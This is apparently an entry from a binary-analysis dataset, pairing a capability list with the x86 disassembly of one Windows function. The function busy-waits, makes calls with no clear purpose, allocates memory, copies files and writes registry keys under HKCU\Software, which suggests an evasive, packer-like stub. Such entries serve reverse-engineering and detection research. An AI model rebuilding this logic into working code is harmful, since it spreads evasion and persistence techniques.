Function at 0x405169
Capabilities:
Copy file
Get system information on windows
Query or enumerate registry value
Read file on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e0
push esi
push edi
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x1fc], 0
mov dword [ebp - 0x1f8], 0
mov dword [ebp - 0x11c], 0
mov eax, dword [ebp - 0x1fc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, 5
mov esi, str.sgl32.dll
lea edi, [ebp - 0x1e4]
rep movsd dword es:[edi], dword [esi]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x29c], 0
mov dword [ebp - 0x74], 0
push 0x9c
push 0
lea ecx, [ebp - 0x298]
push ecx
call fcn.004058e0
add esp, 0xc
mov word [ebp - 0x1de], 0x65
mov word [ebp - 0x1da], 0x73
mov word [ebp - 0x1d4], 0x33
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x124], 0
push 0xa8
push 0
lea edx, [ebp - 0x1d0]
push edx
call fcn.004058e0
add esp, 0xc
mov dword [ebp - 0x1f4], 0
mov dword [ebp - 0x124], 0x1000
push str.zzy:_slyhj75mkksdgdx_in_mspe_n_a
lea eax, [ebp - 0x70]
push eax
call fcn.00405940
add esp, 8
mov dword [ebp - 0x80], 0x1000
push 4
push 0x1000
mov ecx, dword [ebp - 0x124]
push ecx
mov edx, dword [ebp - 0x80]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp dword [ebp - 0x1fc], 0
je 0x405293
mov eax, dword [ebp - 0x1fc]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x4052bc
lea ecx, [ebp - 0x120]
push ecx
push 0x65
call fcn.004049ec
add esp, 8
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1f4], 1
mov dword [ebp - 0x1fc], 0
cmp dword [ebp - 0x29c], 0
jne 0x405301
mov edx, dword [ebp - 0x11c]
movsx eax, byte [edx]
cmp eax, 0x45
je 0x405301
mov ecx, dword [ebp - 0x11c]
movsx edx, byte [ecx + 1]
cmp edx, 0x46
je 0x405301
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [ebp - 0x2a4]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x1f0], 0
mov dword [ebp - 0x84], 0
cmp dword [ebp - 0x1f4], 0
jbe 0x405361
mov edx, dword [0x40e038]
mov dword [ebp - 0x2a8], edx
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x2a8]
mov dword [eax + 0x1bc], ecx
mov edx, dword [ebp - 0x1f4]
mov dword [ebp - 0x84], edx
mov dword [ebp - 0x1f4], 0
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax + 0xd4]
mov dword [ebp - 0x29c], ecx
push 0x24
push 0
lea edx, [ebp - 0x24]
push edx
call fcn.004058e0
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov word [ebp - 0x2a0], ax
cmp dword [ebp - 0x84], 1
jne 0x405697
mov ecx, dword [ebp - 0x28]
mov dword [ecx + 0x1c0], 2
mov dword [ebp - 0x2b0], 0
mov dword [ebp - 0x2ac], 0xfffff
mov dword [ebp - 0x2b4], 0
jmp 0x4053d1
mov edx, dword [ebp - 0x2b4]
add edx, 1
mov dword [ebp - 0x2b4], edx
mov eax, dword [ebp - 0x2b4]
cmp eax, dword [ebp - 0x2ac]
jae 0x4053f0
mov ecx, dword [ebp - 0x2b0]
add ecx, 1
mov dword [ebp - 0x2b0], ecx
jmp 0x4053c2
mov edx, dword [ebp - 0x2ac]
shl edx, 1
cmp edx, dword [ebp - 0x2b0]
jb 0x405686
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1000
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x2b8], eax
cmp dword [ebp - 0x2b8], 0
je 0x405461
lea eax, [ebp - 0x70]
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1f0], 0
je 0x405447
mov ecx, dword [ebp - 0x1f0]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffff
push 0
push 3
push 0
push 0xfffffffffffffff8
push 0xfffffffffffffffc
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 0xffffffff
je 0x4054ab
mov dword [ebp - 0x2c8], 0
mov edx, dword [ebp - 0x1f0]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
call sub.MSACM32.dll_acmStreamReset
push 0
lea eax, [ebp - 0x2cc]
push eax
mov ecx, dword [ebp - 0x2c8]
push ecx
mov edx, dword [ebp - 0x28]
push edx
mov eax, dword [ebp - 0x1f0]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [str.Software]
mov dword [ebp - 0x2c4], ecx
mov edx, dword [0x40e0a0]
mov dword [ebp - 0x2c0], edx
mov al, byte [0x40e0a4]
mov byte [ebp - 0x2bc], al
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 3
jne 0x405663
mov ecx, dword [ebp - 0x1ec]
cmp ecx, dword [ebp - 0x120]
jne 0x40550a
push 1
push 0
push 0
push 0
mov edx, dword [ebp - 0x1ec]
add edx, 2
push edx
mov eax, dword [ebp - 0x1ec]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileExA]
mov ecx, dword [0x40e664]
mov dword [ebp - 0x2d0], ecx
mov edx, dword [ebp - 0x120]
mov eax, dword [ebp - 0x2d0]
mov dword [edx + 0x1f4], eax
mov dword [ebp - 0x2d4], 0
lea ecx, [ebp - 0x2c4]
test ecx, ecx
jne 0x405546
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapCompact]
lea edx, [ebp - 0x2d4]
push edx
push 8
push 0
lea eax, [ebp - 0x2c4]
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ecx, dword [ebp - 0x28]
mov dword [ecx + 0x1fc], eax
mov edx, dword [ebp - 0x28]
cmp dword [edx + 0x1fc], 0
jne 0x405608
mov dword [ebp - 0x2d8], 0
mov dword [ebp - 0x2dc], 0
push 0
push 0
push 0
mov eax, dword [ebp - 0x1ec]
push eax
mov ecx, dword [ebp - 0x2d4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueA]
cmp eax, 0x57
jne 0x405608
mov edx, dword [ebp - 0x1ec]
add edx, 3
push edx
mov eax, dword [ebp - 0x1ec]
push eax
mov ecx, dword [ebp - 0x2d4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegLoadKeyA]
cmp eax, 0x522
jne 0x405608
mov edx, dword [ebp - 0x120]
push edx
call fcn.004056c3
add esp, 4
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax + 0xd4]
mov dword [0x40e510], ecx
mov edx, dword [ebp - 0x28]
cmp dword [edx + 0xd4], 0
jle 0x405608
mov dword [ebp - 0x1f4], 1
cmp dword [ebp - 0x2d4], 0
jne 0x405641
mov dword [ebp - 0x2e0], 0
lea eax, [ebp - 0x2e0]
push eax
mov ecx, dword [ebp - 0x28]
push ecx
lea edx, [ebp - 0x2e0]
push edx
push 0
push str.init
mov eax, dword [ebp - 0x2d4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp dword [ebp - 0x2d4], 0
je 0x405659
mov ecx, dword [ebp - 0x2d4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x405663
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapCompact]
cmp dword [ebp - 0x1f4], 1
jae 0x40567f
mov dword [ebp - 0x28], 0xff1a
mov dword [ebp - 0x120], 0xfaf0
jmp 0x405684
mov eax, dword [ebp - 0x28]
jmp 0x4056bd
jmp 0x405697
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x28], 0
mov edx, dword [ebp - 0x28]
cmp dword [edx + 0x1c0], 0
je 0x4056bb
cmp dword [ebp - 0x1f4], 0
jbe 0x4056bb
mov eax, dword [ebp - 0x28]
mov dword [eax + 0x70], 0
mov eax, dword [ebp - 0x28]
jmp 0x4056bd
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret